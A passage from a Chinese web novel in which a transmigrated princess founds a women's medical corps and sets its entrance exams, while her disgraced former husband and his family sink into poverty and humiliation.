冷小幸更关心外伤医疗队今后怎么建设。
未到三日之期,兵部、户部、吏部、礼部同时呈上折子。
尚书台将奏折送上,皇帝知道冷小幸惦记,他看过后便召来了冷小幸。
冷小幸先细细看了一遍,对皇帝道:“这几位大人真不愧是父皇的肱骨之臣,如此短的时间想得甚是周全。”
“自你那医疗队在京城南衙十六卫、北衙禁军试验有成,他们私下不知琢磨多少回了,能不周全吗?”皇帝捻须笑道。
冷小幸手指轻轻敲着折子道:“父皇能宣他们来,让儿臣与他们到偏殿开个小会吗?”
皇帝闻言欣慰道:“有何不可。”
片刻后,几位大臣由内侍引入偏殿。
几人进殿后,不见皇帝心中便有了猜测,皆缄口不言。
殿门外,得到消息的冷小幸步履轻快走进来。
因明旨已发,尚未册封,众人行礼仍称她为昭华公主。
冷小幸一改往日强硬,与四位尚书好生商讨医疗队建设事宜。
大家意见一致,此事初期不必大张旗鼓,在京城附近选人即可,待冷小幸教出一批可用,再选择可以教导他人的,逐渐扩大各地招生范围。
只不过四位尚书认为在京郊附近招收平民女子便是。
可冷小幸却要求入学人选不限阶级,京城中的皇家、宗室、勋贵、文官武将、平民女子皆可自愿报名。
这是小节,四位尚书无畏在此与冷小幸争执,便定了下来。
他们甚至没提醒冷小幸,大家闺秀不愁吃穿,不愁前程,她们只需在家族庇护下嫁人便可,怎么会有人愿意进医疗队,将来前往军队那等艰苦之地。就算真有人来也只是为了赚个好名声,为将来出嫁添几分光彩罢了。
“张榜宣传时,务必要写清楚,说清楚最终选出来的人会成为各军的正式编制,或从事医疗队教育等相关工作,是朝堂官员,私自半途而废者绝不姑息。”冷小幸最后道:“医疗队功在一时,利在千秋,还望诸位大人勤勉多劳,与本宫共同成就此事。”
四位尚书躬身应是。
殿中气氛融洽,丝毫看不出此前朝堂龌龊。
接下来的时间,冷小幸一门心思扑在医疗队的建设上。
她将医疗队的选址,选在四门学府旁。
四门学是“六学二馆”中专门招生文武官员七品以上子孙、勋贵侯伯子男之子及部分庶人中优异者的学府。
幸亏现在国朝初立,京城还没有挤满达官显贵,要是再过
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几代,即便是皇帝想在这个位置办学校,那可是想都别想。
宣传招生的事,自有衙门操持。
冷小幸有言在先,一月为期只要报名就先录入名单。
若有无处可去的报名者,就先将人留下,安置在公主府。
期满后,由她亲自挑选,任何人不得插手。
一月后,冷小幸不着急见人,先翻看礼部送来的名册。
果然,报名的女子中平民所占比例最多。
这不奇怪,因是第一批入学,皇帝特批不收束脩,入学后包吃住每季两身衣裳,从户部走账。
这对于富贵人家不算什么,可对于普通百姓而言,少了一个人的嚼用,那就是省了一大笔钱。
女儿还能学本事,就算将来到军队又怎么样?那可是去做官的,又不是去做军|妓,总好过有一日家里揭不开锅卖身为奴。
且官爷们都说了她们去军队效力最多十年八载就让回来。还能有幸得公主亲自教导,这可是想都想不到的福气,等学成了不但有谋生的本事,将来说亲单是公主的学生这个身份摆出来,亲事都能高好几个档次。
除了平民女子,武官家报名女儿也有不少,文臣家的寥寥无几。
倒是勋贵家报名女儿实在不少。
国朝初期的勋贵,那都是跟着皇帝打天下的马仔,这会老大的女儿要办学校,他们能不支持吗?必须支持呀。
勋贵家的夫人们哪个不感念先皇后的恩德,这会怎么会不同意让女儿去呢?
勋贵家的女儿们与昭华公主算是手帕交,总有几分情分。
昭华公主恋爱脑不假,但她并非骄纵之人,从未对玩伴趾高气昂过。
这会勋贵家的女儿们见冷小幸在朝野上下大放异彩,有不少女孩也想如她一般站上朝堂,一说报名积极得不得了。
宗室除了燕王外是皇帝登基后,为撑场面找来的几个远房亲戚。
既然靠着皇帝吃饭,当然要看皇帝脸色行事,哪能不上赶抬轿子,恨不得把所有的未嫁女统统送去报名。
倒是燕王只有一个幼女,想送也送不了。
皇家的公主们又想去,也有不想去的。
不过,她们说了不算,做主的是各自的母妃。
三公主的母妃齐妃出身比曾经的淑妃还要强一些,她是正经世家嫡支之女。
先皇后在世时,曾拦着不让她给三公主缠足。
为了这事,齐妃心里没少埋怨先皇后,她觉得先皇后出身不好没见识,不知道缠足硬生生耽搁了昭华公主,所以也见不得她给三公主缠足。
如今她更不可能让女儿跟着冷小幸学医,将来抛头露面给人治伤,明明是堂堂金枝玉叶,怎么能去做那些下贱活计?惹人耻笑。
二公主的母妃与先皇后交好,同样出身不高,很愿意让女儿跟着冷小幸学些本事,问过女儿意见后替女儿报过名。
报名人数众多,不可一一详述。
冷小幸捧着名册,正高兴呢,脑海里突然传来公主系统撕心裂肺的哭声。
25.替驸马养私生子的公主25
“好端端的,你嚎什么!”冷小幸猝不及防吓了一跳,差点没拿稳名册。
公主系统大哭道:“我的福哥呀,呜呜呜,我的福哥呀,怎么就这么走了呀,他才出生呀,明明上一世不是这样的。”
冷小幸从记忆里扒拉了半天,才想起福哥是谁,她竖着眉毛道:“怎么是你的福哥呢?那是吴思齐和陈宝珠的奸生子,跟你有什么关系?怎么?他死了?”
“死了呀,才出生就没气了呀,前世我把他养到成人,一直白白胖胖、健健康康。”公主系统哭得直抽抽:“这一世连眼睛都没睁就走了啊。”
冷小幸满脸黑线:“你这么伤心做什么?”
“难道你忘了前世你对他视如己出精心照料,为他延请名师,为他请封爵位。可他对你没有半分情谊,别说把你当做母亲,连下人都不算上。害死你的毒药是他专门找来的,他可是杀死你的仇人,你现在不该大笑才是吗?”冷小幸不解道。
公主系统大声斥责道:“你怎么说出这么狠心的话!我让你做贤妻良母,你不肯做贤妻就罢了,连良母都做不了。你还是个女人吗?”
“苍天不公,怎么就夺了我福哥的命。”公主系统悲不自胜。
冷小幸诘问道:“你觉得这是苍天不公,那我问你同样都是皇帝的孩子,皇子有望继承大统做天下之主。再不济,也可做个封地的实权亲王。可相比之下,公主有什么?区区一座公主府,一点汤沐邑就打发了。这难道公平吗?”
“这跟我的福哥有什么关系?”公主系统眼泪汪汪:“我把他养到十六岁,就是养条狗,也养出感情了呀,你怎么这么铁石心肠,一点都不体贴我。”
“养条狗,它还能冲你摇尾巴,你养个孩子,他给你喂毒药。”冷小幸顿了一下道:“说起来,还要感谢你父皇定下所有皇家宗亲都得满十六岁才能封爵。他的本意是减少爵位俸禄的财政支出,同时避免宗室什么都不干光生孩子。倒是阴差阳错,为你多挣了几年活命。”
“福哥,福哥他是个好孩子,只不过是被陈宝珠教唆才那么做的。”公主系统嘴硬。
冷小幸讪笑道:“那你可真有意思,但凡对上吴思齐、福哥就处处为他们开脱,对上陈宝珠你就冲拳出击,你哪是贤妻良母啊,你分明是男人的舔狗。”
说罢,不理公主系统,带人出宫去见报名者。
报名者早早聚于宸仪学。
宸仪学是冷小幸亲自命名,又请皇上题字挂匾的学府名。
冷小幸进去时,报名者已按身份高低在阶前站好。
同住宫中的二公主,昨日亲自知会冷小幸,她提早出宫,不与冷小幸同往,此刻正与旁人一同等候。
因已举行过册封礼,众人躬身行礼道:“拜见镇国公主。”
冷小幸款款落座,仪态万方,大手一挥:“免礼。”
冷小幸见站在后面的平民女子,虽然衣着俭朴但个个落落大方,言行举止并无局促之感,心中甚是满意。
“今儿本宫与诸位中的很多人都是第一次见面,并不了解。为了以后方便教学,本宫制了一套试题。从明日起,尔等皆要来此考试,为期七日。”冷小幸没有任何废话,直接开口道。
她眼力好,见此言一出,贵族女子神态各异,平民出身的女子面上皆忐忑不安、有羞愧之色。
冷小幸起身,走到平民队伍前面道:“本宫知道你们中大部分人以前没有学习的机会,不识字,也没读过书。不打紧,考试时会写字的置案自写。不识字的,每个人配礼部一人、尚宫局一人、蓬莱殿宫女一人,共三人听你们口述撰写。”
“若题目有不懂之处,尽可向她们询问。在答题过程中,若有人胆敢对你们有所轻视怠慢,当场报于本宫。”冷小幸掷地有声道:“这七日,本宫会在此亲自坐镇,你们只管安心答卷便是。”
众人弯腰道:“谨遵公主之命。”
“好了,放轻松。”冷小幸笑容和煦道:“今日好好松泛一日,养精蓄锐以待明日考试,千万不能为了明日考试,劳神费思,半夜不睡苦熬。”
众人忙答应。
冷小幸便命她们下去了。
随侍的礼部官员上前求试题,预备印刷。
冷小幸沉吟道:“不必了,就这么点人,明日准备几块木牍写在上头,再要几个宣读的也就是了。”
礼部官员听命去筹备。
冷小幸要先对报名女子考试且亲自出题这事,早就告知过皇帝。
皇帝命礼部全力配合。
朝堂上不少人,尤其家里有女儿报名宸仪院的大臣都在关注冷小幸会出什么题,怎么考?
可这段时间冷小幸除了上朝,几乎不出蓬莱殿的大门,实在是打听也打听不到。
这次出来,冷小幸也不急着回宫,带人将宸仪学这个院子里里外外走了一圈。
她一直忙着弄试题、教材,没顾上亲身实地验收。
工部负责修建的官员跟在冷小幸身后,将她提出的修改要求一一记下。
好在工部用心,没有需要大改的地方。
今日开始修葺,赶在明日学员考试前,定能收拾妥当。
冷小幸交代完,又去了礼部一趟才回宫。
有人去礼部套话,听闻冷小幸那般吩咐,都偃旗息鼓,回家嘱咐女儿好生在家准备考试,万不能生出怠慢之心。
贵族女子有家人操心,平民女子求助无门,更不敢真放松。
自她们住进公主府,礼部就派人教她们礼仪规矩。
有胆子大的女子提出想学识字。
礼部将此报给冷小幸。
冷小幸见她们有向学之心,专门从尚宫局挑了人,派来教她们。
这会儿她们哪敢懒怠,都在抓紧学习,不过也都听话,没有人挑灯夜战,早早就寝以待明日。
这一夜,报名的女子不分贵贱,心中都有几分激动雀跃,要知道她们将来是有机会做官的,先不论军医官阶,那可是官呀,以前只有男人才有资格做的官呀。
一样米百样人,有人倒头就睡,有人辗转反侧,有人睡不
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踏实醒了又醒。
推动这一切的冷小幸则正处于难得的无聊时光,终于有了兴致搭理沉溺悲痛,痛哭不止的公主系统。
她不解道:“我记得,上一世你父皇、母后死的时候,你都没这么伤心呀。”
公主系统肿着一双眼睛,嘶哑道:“你胡说!”
“世间大部分人爱子女胜过爱父母,所以爱才能代代延续,不足为奇。我没有指责你不孝的意思。”冷小幸先解释一句,接着诛心道:“只是像你这样,爱你丈夫的奸生子胜过爱疼爱你的父母,且这个孩子还是杀死自己的仇人,当真是绝无仅有的奇葩。”
“你,你放肆。”公主系统勃然大怒道。
冷小幸毫不在意拿着玉耳勺,抠着耳朵道:“我就是放肆,你能拿我怎么办?”
“你,你,”公主系统你了半天,想到自己不能把冷小幸怎么样,又哭了起来。
她哭声悲切,引起了冷小幸一点恻隐之心,她道:“别哭了,要不,你给我讲讲福哥是怎么死的?陈宝珠是难产死的吧?”
公主系统闻言更气,负气不理冷小幸。
可过了一会,她实在无法忍受无人倾诉的寂寞,便对冷小幸道讲了起来。
前世,陈宝珠有孕,一直待在宣平侯府。
昭华公主能容她生下孩子,但并不想看到她,两人相安无事。
宣平侯夫人心里属意陈宝珠做儿媳,且陈宝珠又是她的亲侄女,还怀着儿子的骨肉,自然不会亏待陈宝珠。
吴思齐本就觉得委屈了陈宝珠,更是对她百般体贴。
陈宝珠日子过得舒心,平安产子。
虽然孩子生下就被昭华公主派人抱走,但昭华公主并未禁止她们母子相见。
一来,昭华公主害怕不让陈宝珠母子相见,会让吴思齐对她心生不满,坏了他们夫妻情分。
二来,昭华公主心善不忍分离他们母子。
所以名义上福哥养在昭华公主身边,但福哥从幼时起每日都会去见陈宝珠几次。
后来,昭华公主身边的崔嬷嬷、紫藤等人,死的死、被赶走的赶走、不受重用的不受重用。
整个宣平侯府都不把昭华公主放在眼里,反而将陈宝珠当做世子夫人。
昭华公主在玉春的哄骗下,半点都没有起疑,仍对福哥掏心掏肺。
今世,宣平侯府被削爵抄家,陈宝珠的吃穿用度自然不能跟上一世相比。
朝廷抄家时,半点没留手。
府邸、田庄、家奴、佃户、商铺、古玩字画、钱财等等皆被抄没,就连他们身上穿的绫罗绸缎都被扒下来,另给身下人的粗布衣裳。
被赶出宣平侯府的吴氏夫妇、吴思齐、陈宝珠四人身无分文。
好在吴父还有几个亲朋故交,肯救济一二。
吴父不愿离开京城,遂在京郊的村子租下一户农家小院落脚。
经此大变,吴父身体大不如前,他搂着腰拄着拐杖,看起来苍老了许多,但余威犹在,堵在农家小院门口,不肯让陈宝珠进门。
26.替驸马养私生子的公主26
陈宝珠怯生生捂住肚子,双目含泪,楚楚可怜。
吴思齐将她护在身后,无奈道:“爹,您这是做什么?珠儿怀着身子呢。”
“呸,”吴父啐了一口道:“哪来的野种,我才不认呢!”
听了这话,陈宝珠呜咽一声,泪如雨下。
吴思齐急道:“爹,珠儿是个清白的好姑娘,您别污蔑她。”
“清白的好姑娘?”吴父轻蔑道:“哪家清白的好姑娘能跟已经成婚的表哥无媒苟合,搞大肚子!”
陈宝珠羞愤欲死。
吴思齐亦是面上讪讪。
“她分明是个丧门星,陈家就是生养了她,才被灭门。”吴父犹不解恨道:“都是因为她,我们家才败落至此,她就是个灾星!”
陈宝珠听了,只觉钻心之痛,她脸色煞白,一手捂住心口,一手紧紧抓住吴思齐的衣衫,像是抓住最后一根救命稻草。
“爹,您胡说些什么?”吴思齐一时口不择言,指责吴父道:“陈家灭门是贾振义残暴,与珠儿何干?咱们家落败,是受了二皇子的连累,怎么能跟珠儿搭上关系呢?”
吴父伸出手指颤颤巍巍指着吴思齐愤怒道:“怎么没有关系?要不是你这不争气的被她勾引,伤了公主的心,叫公主把你休了。咱们家怎会落到如今这般田地?你要还当着驸马,二皇子扣边,也不会连累咱们家至此。”
“几辈子的基业就这么没了,我死了怎么去见祖宗,”吴父捶着胸口、老泪纵横。
吴思齐语塞,垂下头。
吴母上前拉住吴父的胳膊劝解,吴父狠狠挣脱。
吴母猝不及防,收力不及,跌倒在地。
她先是茫然无措,而后捂着脸,哀不自胜低声哭泣,全然没有往日的端庄娴雅。
吴父看看吴母,再看看吴思齐以及躲在他身后的陈宝珠,只觉满心凄楚,他身形一晃,拄着拐杖站稳,佝偻着身子像是被抽走了浑身的精气神,长叹一声,转身进门。
陈宝珠听到动静,探头见吴父走了,才敢上前扶起吴母,张口欲劝,却无话可说,只能与吴母抱头痛哭。
吴思齐呆了半晌,忽听身后有细碎声音,回头见村民们三三两两站在不远处窃窃私语。
仿佛刹那间血都涌向脸皮,吴思齐顾不得驱赶村民,立刻奔到吴母身侧道:“娘,别哭了,爹他一时接受不了,才说了几句重话,您别往心里去。”说着,眼神示意围观的村民。
接着,吴思齐与陈珠儿半搀半拽把吴母扯进小院,直接送到屋里。
农家小院儿也就两三间房子。
安顿好吴父吴母,吴思齐与陈珠儿去了另一间。
这四个人生来富贵,十指不沾阳春水,基本过着锦衣玉食,有人伺候的日子。
哪里住过这么破旧的房子?
四人中,唯有陈宝珠早年逃亡吃过几分苦,适应的最快,进屋就动手收拾。
吴思齐皱着眉头环顾四周,只觉逼仄、脏乱。
“好在,只住几天,”吴思齐心道。
他对陈宝珠道:“珠儿,快别忙了,还怀着身子呢,孩子要紧。等过几日,我赚了钱,就换房子、买丫鬟伺候你。”
陈宝珠手一顿,哽咽道:“表哥,你不怪我?”
吴思齐将陈宝珠搂在怀里道:“傻丫头,瞎想什么呢?我怎么会怪你?你本就该是我的妻,我们是两情相悦,有情人终成眷属。”
“以后可不能再说这样的傻话,叫孩子听见笑话你。”他摸着陈宝珠的肚子柔声道。
陈宝珠被逗笑,偎依在吴思齐怀中,悄悄松了口气。
当夜两人躺在硬硬的小床上,相拥一夜,密不可分。
吴父、吴母则一个脸朝外,一个脸朝内,两个脊背中间可以塞下一个吴思齐。
第二日,吴思齐便与吴父商量,先去找个活计,总不能只靠别人接济。
吴父喝着稀粥,沉着脸不吭声。
陈宝珠送吴思齐出门,小声道:“我烧的粥太难喝了,惹得姑父不高兴。”
“不相干,”吴思齐安慰道:“再说你能烧熟就不错了,别想那么多,安心等我回来,我会让你重新过上锦衣玉食的日子。”
吴思齐自觉文武双全,从前郑州吴氏子弟、宣平侯世子、驸马的身份,掩盖了他的光芒。
现在才是他证明自己的好机会。
吴思齐心中有个不为人知的隐秘念头,那就是他时常觉得皇帝没什么了不起,要不是他吴思齐晚生几十年,错过与皇帝争夺天下,哪里轮的到皇帝龙袍加身?
一心想大干一场的吴思齐踌躇满志来到景安伯府大门前,可他既无拜帖,又穿得穷酸,虽然气质不俗,但门房不肯放他进去。
被门房轰苍蝇般赶走的吴思齐大怒道:“大胆,你可知道我是谁?”
“呦,你是谁?你自己撒泡尿照照不就知道了。”门房奚落一句,转头招呼其他人驱赶吴思齐。
立刻出来几人上前推搡吴思齐。
吴思齐不好当街与他们动武,更不愿失了身份,拂袖而去。
他安慰自己门房卑贱不认得他也是有的,见好友景安伯世子要紧,无谓在小人身上浪费精力。
吴思齐也没有其它办法,只能在景安伯府的街角徘徊,不知过了多久竟真叫他见到景安伯世子身边的几个小厮。
吴思齐赶忙叫住。
众小厮闻声看去,倒也认得他。
为首的小厮上前笑道:“原来是吴公子,恕小人们眼拙,方才没认出来您。”
吴思齐有些不满小厮不对他行礼,但他也知今时不同往日,便自以为和颜悦色道:“无妨,快带我进府去见你家公子。”
“这可真不巧,我们府上老太太昨儿做了噩梦。今早起来觉得不大安泰。您是知道的,我家公子素日最有孝心,这不出城到寺庙给老太太祈福去了。”
吴思齐拧着眉问道:“他何时回来?”
“只怕要十天半个月。”
“这么久?罢了,你随我去找他。”吴思齐理所当然吩咐道。
那小厮赔笑道:“哎呦,不是小人不跟您去,是您去了也见不到我家公子。高僧说了,要想让老夫人康健,需得我家公子在寺中清修,不能见人。您看,连我们都给撵回来,不叫在旁伺候。要不等我家公子回来,您再来?”
吴思齐听了这话,哪里还等得住,他含糊了句:“到时再说。”抬腿
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走了。
“切,什么玩意,还以为自己是驸马爷呢。”众小厮看着他的背影,低声嘀咕了几句。
为首小厮连忙呵斥制止。
众小厮面上应了,腹诽道:“怕什么,他又听不到。”
没听到的吴思齐走到司录参军府前,只觉双腿酸痛,他哪里吃过这种苦,以前远一点的路不是骑马就是坐轿,如今只能自个走,鞋还不合脚。
现在的吴思齐还不知道这只是他苦日子的开头。
他皱着脸,敲敲腿肚子,才踱步上台阶找门房要见府上大公子,从前他对大公子多有提携。
这次运气好,门房认得他,殷勤请他进去,仆从上前引路道:“我家大公子外出未归,府内皆是女眷,还请吴公子在外书房歇歇。”
吴思齐在外书房坐定,小厮送了茶,就退下了。
吴思齐忙里半日,正口干舌燥,一喝那茶,虽不如他以前往日喝的,但也算不错,心中妥帖几分。
他耐心等着,谁知这一等便是两个时辰。
除了一壶冷掉的茶,其它什么都没有。
吴思齐心焦不已,心中暗骂小厮没眼色,起身到门口想叫小厮进来伺候,就听有两个小厮在廊下嚼舌头。
其中一个好奇道:“里面是谁呀?方才瞧着像个破落户,是来打秋风的?”
“你不认得?”另一个道:“这可是昭华公主的前驸马爷。”
“啊,就是那个被休掉的?哎呦!他怎么还敢出门?我要是他,可没脸见人,羞都羞死了,从未听说有被女人休掉的男人,丢死人了。”
“可不是,啧啧啧。”
“那他来干嘛?真是来借钱?”
“可不是,你没听说?宣平侯府被抄家夺爵,一个子都没剩下。”
“听说了,我不是想着瘦死的骆驼比马大,再怎么着也比咱们强,怎么沦落到这个地步。”
“哼,还比咱们强。瞧他穿的那身,连咱们家最下等的仆人都不如,身上那股味,你是没闻到。”小厮满脸嫌弃,手在鼻前扇风嗤笑道:“一会,等他走了,这房子可得好好打扫打扫,多点些香好好熏熏屋子。要不等主子回来闻见了,倒连累咱们受过。”
吴思齐闻言怒火中烧,掀了门帘就要发作。
却见两个小厮面无惧色,如常行礼道:“吴公子怎么出来了?我家大公子还没回来呢,您再等等。”
吴思齐哪里不明白这些话分明是故意说给他听的,他若对这小厮发怒岂不是自取其辱?
他狠狠瞪了小厮们一眼,怒气冲冲大步流星冲向大门。
身后小厮还道:“什么人啊,还世家子弟呢,真没风范,话都不说一声,就跑了。”
吴思齐听见了,却也无法,忍气吞声越走越快。
如此一天跑了两三家,基本都没见到正主,区别仅仅是有些人家纵容下人欺辱他,有些好吃好喝接待他罢了。
吴思齐赶在城门关前出了城,深一脚浅一脚回到农家小院,累得半死,胡乱吃了两口陈宝珠做的饭,便搁下筷子,去寻吴父。
他对吴父道:“爹,那些人个个趋炎附势,不会帮咱们家。要不咱们回郑州老家,韬光养晦以图来日?”
27.替驸马养私生子的公主27
吴父掀起眼皮,瞥了一眼满脸愤懑的吴思齐,不咸不淡道:“你明日再去试试,多找几家。”
“爹!”
“就这么定了,出去吧。”吴父合上眼道。
吴思齐有心争辩,又觉多说无益,跺脚出去了。
晚间,吴思齐把陈宝珠搂在怀里,抱怨道:“爹真是糊涂了,非要叫我再去,有什么用?到时我岂不成跳梁小丑,传得满大街都是。”
伏在吴思齐胸口的陈宝珠闻言,心念一动,猜出吴父的用意,却不好宣诸于口,她颤声道:“表哥。”
吴思齐亲着陈宝珠发丝道:“怎么了?”
“表哥,我们还没有成婚,这孩子将来......”陈宝珠未说完,眼泪先落了下来。
吴思齐闻言一愣道:“现下爹不会同意这门亲事的。再说,如今我拿什么娶你?总得三书六礼,堂堂正正娶你过门才是。珠儿,你且再忍耐几日,我不会让咱们的孩子无名无分的。”
陈宝珠一手攀上吴思齐肩头,半是甜蜜半是不安道:“好,我等表哥。”
第二日,吴思齐原本没想找人帮忙,只打算把吴父糊弄过去便罢。
他进城想找找机会,心中后悔之前不该阻止冷小幸提议科举制,不然凭他的才华自然能金榜题名再入仕途。
如今他到哪去找能举荐他的人呢?难道他去做贩夫走卒不成?
神游在外的吴思齐没留神撞到人。
那人张嘴骂道:“瞎了你的狗眼,撞到爷爷身上。”
吴思齐定睛一看有些眼熟,还没想起这人是谁。
就听这人身后传来几声调笑:“我当是谁呢,原来是前驸马爷。”
吴思齐闻声看去,是几个曾经与他一起喝酒的纨绔。
几个纨绔骑着高头大马,其中一个穿紫袍的讥讽道:“怎么?驸马爷不去钻女人的裙子,改钻男人的裤/裆啦?”
吴思齐何曾受过这样的大辱,当下反唇相讥。
紫袍扬起马鞭,抽了吴思齐一鞭子,喝道:“你以为你现在还是什么牌面上的人物?小的们给我打!”
众小厮一拥而上,对吴思齐拳打脚踢。
吴思齐寡不敌众,又要脸面,最后仓皇逃跑。
回到村庄,在村民异样的眼神中,捂着脸跑回家。
陈宝珠、吴母见状大吃一惊,连声问道:“怎么回事?”
吴思齐只说摔了一跤,不打紧。
吴母听了心疼得掉眼泪。
陈宝珠去邻居家借了药粉,小心翼翼给吴思齐上药。
村民的药,哪里有好的?
吴思齐觉着倒比冷小幸拿他当教具,让学徒们练手时更疼。
他不断发出:“嘶嘶。”声。
吴父既不听吴思齐诉苦,也不看他,只盯着大门,好像在期待着什么。
直到夜深才死心,回床睡了。
吴母不知吴父发什么神经,背过身不理睬。
天明,吴父宣布要回老家。
吴思齐顶着猪头不解道:“爹,您不是不想回去吗?这么又改主意了?”
“你当真不明白?”吴父恨铁不成钢道。
“明白什么?”吴思齐更加困惑。
吴父痛心疾首道:“我怎么生出你这么愚笨的儿子?难怪公主看不上你。”
“和她有什么关系?”吴思齐先是迷茫,而后福灵心至道:“爹,你是故意让我受辱,你想让公主知道,想让她怜悯我,与我重修旧好!”
“爹,你当我是什么?供人取乐的粉头,下贱的脔童吗?”吴思齐不能接受,疯癫般问道。
吴父不接后句只回前道:“不然怎么办?除了与公主重修旧好,你还的法子重回官场吗?你甘心以后只做贱民吗?”
“我不甘心,可我再也不想出卖我自己。”吴思齐平静下来,一字一句道:“从前是你逼我尚主,如今我绝不会再听你的。我爱珠儿,我不会再背弃她第二次。”
陈宝珠闻言,感动不已,牵起吴思齐的手,动容道:“表哥。”
吴父视线从吴陈两人紧紧相握的手划过,冷笑道:“好、好、好,我看你们能恩爱到几时。”
吴思齐不肯跟吴父离开。
陈宝珠自然不能舍了吴思齐随吴父走。
吴母与吴父已无夫妻情分,且不愿去郑州看以前讨好她的人脸色度日,更怕被吴父推出来当吴家家族元气大伤的出气筒。也留下。
最终只有吴父一人孤身上路。
他走时,几乎将家里的钱拿完了,理由充分是他舍出老脸找亲朋故交求来的,其他三人有什么资格用?
吴思齐自觉廉者不受嗟来之食,且出身富家公子,扔觉自己有本事挣回来,便赌气不要。
吴母有心要,却也争不过吴父,只得随他去了。
等吴思齐养好伤,家里的钱所剩无几。
吴思齐不得不放弃做官的幻想,先去挣点谋生钱,不然一家三口得饿死。
找了几天活的吴思齐终于意识今时不同往日,他所谓的才华在现实面前不堪一击。
作为平民的他,不要说施展才华,实现理想抱负,就连解决温饱都是一件不容易的事,且人家招工,放着身世清白的不要,难道会要他这个因罪被夺爵抄家的丧家犬吗?
冷小幸听得哈欠连连道:“我就问了一句。可没有让你从盘古开天辟地讲起,你要讲到什么时候去啊?你就这么关注他,连他说过的话都记得一清二楚?哎呀,我不想听了,我明天还要忙正事呢。”
“对了,我得在宸仪院增加妇科课程,推行妇科看诊,减少生产、妇科病死亡事故。还得想想办法让妇人不再羞于看病,哎呀,我要忙的事那么多,你一点忙都忙不上,整天惦记着杀死你的吴思齐和福哥,你有斯德哥尔摩综合征,这是病,你得治。”
公主系统难得静静听了,没有反驳。
因为它心乱了。
它其实很庆幸冷小幸及时打断了,它不知道该如何讲接下来发生的事。
它两世爱慕吴思齐,在她心中吴思齐是一个风光霁月的孝悌君子。虽然对它无情,但男女之情本不能强求。
它心里一直非常的羡慕,被吴思齐全心全意爱着陈宝珠。
可是为什么吴思齐却变了一个人呢?
公主系统沉浸自己的思绪。
冷小幸则大概规划出妇科看诊事宜后,进入梦乡。
她并不伤感福哥的死,但是对因生产进入鬼门关的陈宝珠,抱有一丝怜悯之情。她想要改变这个世界百姓的生活,仅凭
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她一人是远远不够的,也不急于一时。
只要宸仪院上正轨,一切都会好起来。
不同于冷小幸一夜好梦,参加考试的女子大多没有睡好。
不过早起之时,每个人都如冷小幸般神采奕奕。
冷小幸进宸仪院,便看到一群朝气蓬勃的姑娘。
青春活力的氛围甚至感染到颓废的公主系统,它不由自主道:“真好呀。”
冷小幸站在众人前含笑道:“不必紧张,只是入学考试,发挥你们真实的实力即可。不得作弊,不得交头接耳,有违反考场纪律者,立刻逐出,永不录用,明白吗?”
众人恭谨回道:“明白。”
冷小幸又道:“所有的卷子都会存档交本宫保管,由他人代为作答的考生,以后学会识字后,可来领取,对照与今日作答是否一致。”
平民考生们立刻拜谢。
冷小幸命她们起身,吩咐开考。
公主系统疑惑道:“你说这个有什么用?难道还会有人冒着得罪礼部、尚宫局、你身边宫女来索要卷子?”
“有没有的,以后就知道了。”冷小幸平淡道:“但有这么一句,既可以安她们的心,也能让做记录的,脑袋清醒点,何乐而不为呢?”
冷小幸一边说,一边在各个考间巡视。
会写字的考生被安置在正厅答题,也就是预备日后上课的房间,房间很大,放置了几排小案,案上笔墨纸砚都已备整。
待考生坐定,监考人员扯下早上刚写好考题木牍上蒙着的布帘,而后大声宣读考题。
不会写字的考生分散于整个宸仪院,有在房间的,也有在院子里的,每一个考试组都配备了小案及笔墨纸砚,还有四把椅子。
在一个院落中的考生以屏风隔开。
所有考场都有写了考题的木牍,和负责宣读考题的礼部官吏。
冷小幸还贴心的给每个考试都准备了清茶点心。
不过会写字的,大多都没有用,更怕污了试卷。
口述答题的,也不敢多喝更不敢吃,怕失宜更怕去茅厕耽误时间,只在声音沙哑时,略抿一抿,润润喉咙。
这次的试题是《农桑畜牧》,这让在场所有人诧异,不是要考进医疗队人选,怎么考起这个?
冷小幸身为公主,没有向任何人解释的义务。
没有人提出质疑,考试顺利进行。
考题有五道:一是看天:根据云大量聚集、西北风、动物异常窜动,预测接下来三天的天气,并说明对晒谷影响。
二是治害:庄稼突然发黄长斑,是什么原因,怎样预防治疗装甲?
三是育种:猪、鸡如何配种和选育,才能让下一代长得更快、肉更多,蛋更多?
四是规划:给你一块城郊北山新开垦的山坡地,在哪里种粮、哪里种果树、哪里养家禽,做到互相促进,产出最多?
五是附加题,将考题中没有出现,你所知道有关农桑畜牧的一切,能想起多少,答多少。
看到最后这一题,众人终于明白为什么要考一日,不知接下来六天还会考些什么?
午间,冷小幸安排众人用饭,还给了每人半个时辰的午休时间。
躺是没地方躺的,但坐着眯一眯还是可以的。
28.替驸马养私生子的公主28
虽然有考生不想浪费时间,但考官和监考者都休息了,考卷也被收走,自然不能答题。
也不许考生相互交流,她们只好一个个上眼睛,在脑子里将答过的内容再三核对,生怕有错漏,又将未答的题轮番打腹稿。
如此一个时辰很快就过去,下午开考。
酉时一刻,答题时间到,鸣钟收卷,考生们退回早上站立的位置。
冷小幸简单训话:“若是有人向你们打听考了什么,不必遮掩,告诉他们便是。接下来还有六天,望你们不要松懈,好生考试,好了,都回去吧。”
考生们行礼退下。
二公主对冷小幸福身道:“皇姐,我先回宫了。”
“去吧。”冷小幸并不回宫,宸仪院有专门给她休息的院落,她这几日都要住在宸仪院。
所有试卷由她亲自批阅。
公主系统的注意力终于从吴思齐身上转移到这些试卷上。
冷小幸察觉到公主系统的转变,对它道:“你要愿意也可作答,我给你批。”
“可我现在已经不是人了,”公主系统小声道。
“不是人又怎么样?做系统也是要不断学习,难道你的主脑没有告诉过你?”
公主系统没有答话,也不知是不想答,还是受到了什么限制无法回答。
不过,它在冷小幸批考生卷子时,也认认真真做了一份答卷,等冷小幸忙完,半是期待半是忐忑请她批阅。
冷小幸看完公主系统的卷子,倒觉得她答得还不错,不免有些诧异。
公主系统见状,自得道:“母后很重视农桑,我跟在她身边自然知道些,有什么好奇怪的?”
“当然奇怪,”冷小幸轻笑道:“你明明智商正常,且自幼跟在先皇后那样的奇女子身边,受她的言传身教长大成人,可一涉到吴思齐,就像没长脑子一样,你的恋爱脑究竟是怎么长出来的?”
公主系统条件反射立刻反驳道:“你胡说什么?我是他的妻子,是福哥的母亲,相夫教子是我的责任,做个人人称颂的好女人,有什么不对?”
“对,你做的多好呀,好到赔上自己的性命,死后还要做系统,拉我这无辜的人来替你当牛做马。要不要给你建庙立碑,千古传诵呀?”冷小幸阴阳怪气道。
公主系统哪里听不出来冷小幸在讽刺它,嚷道:“你,你......”
